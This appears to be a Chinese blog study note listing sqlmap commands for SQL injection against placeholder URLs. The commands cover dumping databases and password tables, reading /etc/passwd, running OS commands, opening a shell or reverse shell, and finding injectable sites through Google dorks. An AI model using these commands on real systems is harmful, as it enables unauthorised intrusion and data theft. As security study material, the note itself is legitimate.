• WEB安全学习二、注入工具 sqlmap的使用


    使用的是Kali Linux 系统,系统中默认的sqlmap 是安装好了的,电脑上没有安装sqlmap,自己百度  ,需要python的环境

    使用 命令   sqlmap -h 可以查看   sqlmap的使用方法

    1.基础信息

    python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 
    python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
    python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容



    python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级
    python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --users #列数据库用户
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs#列数据库
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords #数据库用户密码
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20条
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges #查看权限
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges -U root #查看指定用户权限
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --roles #枚举数据库用户角色
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --union-cols #union 查询表记录
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入
    python sqlmap/sqlmap.py -u "http://url/news?id=1" -b #获取banner信息
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" #post注入
    python sqlmap/sqlmap.py -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
    python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --sql-shell #执行指定sql命令
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令 python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell #系统交互shell
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn #反弹shell
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read #读取win系统注册表
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段攻击实例
    python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password
  • 相关阅读:
    [转]Java中fina以及static的意义
    [转]Java中this的意义
    [转]Java中子类调用父类构造方法的问题分析
    [原创]SSH中HibernateTemplate与HibernateDaoSupport关系
    [转]No configuration found for the specified action解决办法
    [原创]MyEclipse2014全手动实现反向工程---解决手动整合ssh时发生的、在hibernate反向工程的时候找不到项目名的问题
    [转]SSM框架——详细整合教程(Spring+SpringMVC+MyBatis)
    pycharm中运行时添加配置 及pytest模式怎么修改为run模式
    字符串正则匹配替换
    PyCharm选中文件夹新建时Directory与Python package的区别
  • 原文地址:https://www.cnblogs.com/kangxinxin/p/9407668.html
Copyright © 2020-2023  润新知